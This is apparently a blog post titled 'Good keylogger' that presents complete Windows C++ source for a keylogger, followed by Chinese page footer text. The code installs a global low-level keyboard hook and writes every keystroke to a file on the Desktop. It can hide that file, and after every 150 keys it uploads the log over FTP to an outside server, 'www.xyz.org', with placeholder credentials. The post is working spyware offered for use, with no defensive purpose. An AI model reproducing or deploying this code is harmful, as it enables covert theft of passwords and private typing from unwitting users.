Good keylogger

#pragma comment (lib,"wininet.lib")
#include <windows.h>
#include <wininet.h> //for uploadFile function
#include <shlobj.h>
#include <iostream>
using namespace std;
  
char * extractFilename(char * path){
char * ret = path;
bool isFullPath = false;
for (int i=0;i<strlen(path);i++){
    if (ret[i] == '\\'){
        isFullPath = true;
    }
}
if (isFullPath){
    ret = (char *)((DWORD)path + lstrlen(path) - 1);
    while (*ret != '\\')
        ret--;
    ret++;
}
return ret;
}
 
FILE * f;
HHOOK hKeyboardHook;
  
/*Change file attributes to hidden*/
void hide_file(char * file)
{
         if (GetFileAttributes(file) != 0x22)
         SetFileAttributes(file,0x22);
}
  
/*Since we are working with files placed on desktop we need the Desktop directory path*/
bool getDesktopPath(char * ret)
{
        char desktop[260];
        if (SUCCEEDED(SHGetFolderPath(NULL,
                                  CSIDL_DESKTOPDIRECTORY | CSIDL_FLAG_CREATE,
                                  NULL,
                                  SHGFP_TYPE_CURRENT,
                                  desktop)))
        {
                strcpy(ret,desktop);
                return true;
        }
        else
        {
                ret = NULL;
                return false;
        }
}
  
//Multiple concatenation
char *dupcat(const char *s1, ...){
     int len;
     char *p, *q, *sn;
     va_list ap;
  
     len = strlen(s1);
     va_start(ap, s1);
     while (1) {
         sn = va_arg(ap, char *);
         if (!sn)
             break;
         len += strlen(sn);
     }
     va_end(ap);
  
     p = new char[len + 1];
     strcpy(p, s1);
     q = p + strlen(p);
  
     va_start(ap, s1);
     while (1) {
         sn = va_arg(ap, char *);
         if (!sn)
             break;
         strcpy(q, sn);
         q += strlen(q);
     }
     va_end(ap);
  
     return p;
}//Example: cout<<dupcat("D:","\\","Folder",0)<<endl; ==> D:\Folder
  
  /*Upload file to server*/
BOOL uploadFile( char *filename, char *destination_name,char *address,char *username,char *password)
{
        BOOL t = false;
        HINTERNET hint,hftp;
        hint = InternetOpen("FTP",INTERNET_OPEN_TYPE_PRECONFIG,0,0,INTERNET_FLAG_ASYNC);
        hftp = InternetConnect(hint,address,INTERNET_DEFAULT_FTP_PORT,username,password,INTERNET_SERVICE_FTP,0,0);
        t = FtpPutFile(hftp,filename,destination_name,FTP_TRANSFER_TYPE_BINARY ,0);
        InternetCloseHandle(hftp);
        InternetCloseHandle(hint);
        return t;
}
  
 static int keysPressed = 0; //Lets count the keys pressed
  
LRESULT WINAPI Keylogger (int nCode, WPARAM wParam, LPARAM lParam)
{
        char currentDirectory[260];
                char * workFullPath;
                
        
    if  ((nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)))     
    {
            bool truth = getDesktopPath(currentDirectory); //If we can capture the desktop directory then we are good
                if (truth)
                {
                    //Concatenate desktop directory and files
                        workFullPath = dupcat(currentDirectory,"\\work.txt",NULL); //So the file path will be like: C:\Users\Corporation\Desktop\work.txt
                        f = fopen(workFullPath,"a+"); //Open the file
                }
        KBDLLHOOKSTRUCT hooked_key = *((KBDLLHOOKSTRUCT*)lParam);
        DWORD dwMsg = 1;
        dwMsg += hooked_key.scanCode << 16;
        dwMsg += hooked_key.flags << 24;
        char lpszKeyName[1024] = {0};
                lpszKeyName[0] = '[';
  
        int i = GetKeyNameText(dwMsg,   (lpszKeyName + 1),0xFF) + 1;
        int key = hooked_key.vkCode;
                lpszKeyName[i] = ']';
         //Key value or something else ?
                 //if the key if from A-Z,a-z,0-9 then add this to file
                        if (key >= 'A' && key <= 'Z')
                        {
                             if  (GetAsyncKeyState(VK_SHIFT) >= 0)
                                         key += 0x20;
                                 if (f != NULL)
                                 fprintf(f,"%c", key);
                        }
                                                //else add the name of the key.For example if the key is 32 -> Add "Space" to the file,so we know that space has been pressed.lpszKeyName is that name.
                        else
                        {
                                if (f != NULL)
                                        fprintf(f,"%s", lpszKeyName);
                        }
                                                keysPressed ++;
                                                if (keysPressed == 150) //Enough data
                                                {
                                                        //extractFilename is used to extract only the file from path:Example: C:\data\x.php,
                                                        //extractFilename("C:\\data\\x.php") => x.php so that we add only the file to ftp
                                                        uploadFile(workFullPath,extractFilename(workFullPath),"www.xyz.org","ftpUsername","ftpPassword"); //Upload the file to FTP
                                                        keysPressed = 0;
                                                }
  
                        //You can make the file hidden :))
                        //hide_file(workFullPath);
                        fclose(f);
        }
    return CallNextHookEx(hKeyboardHook,nCode,wParam,lParam);
}
 
DWORD WINAPI JACKAL(LPVOID lpParm)
{
        HINSTANCE hins;
        hins = GetModuleHandle(NULL);
        hKeyboardHook = SetWindowsHookEx (  WH_KEYBOARD_LL, (HOOKPROC) Keylogger,   hins,  0);
  
        MSG message;
    while (GetMessage(&message,NULL,0,0))
    {
        TranslateMessage( &message );
        DispatchMessage( &message );
    }
  
    UnhookWindowsHookEx(hKeyboardHook);
    return 0;
}
  
void main(){
        JACKAL(NULL);
}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值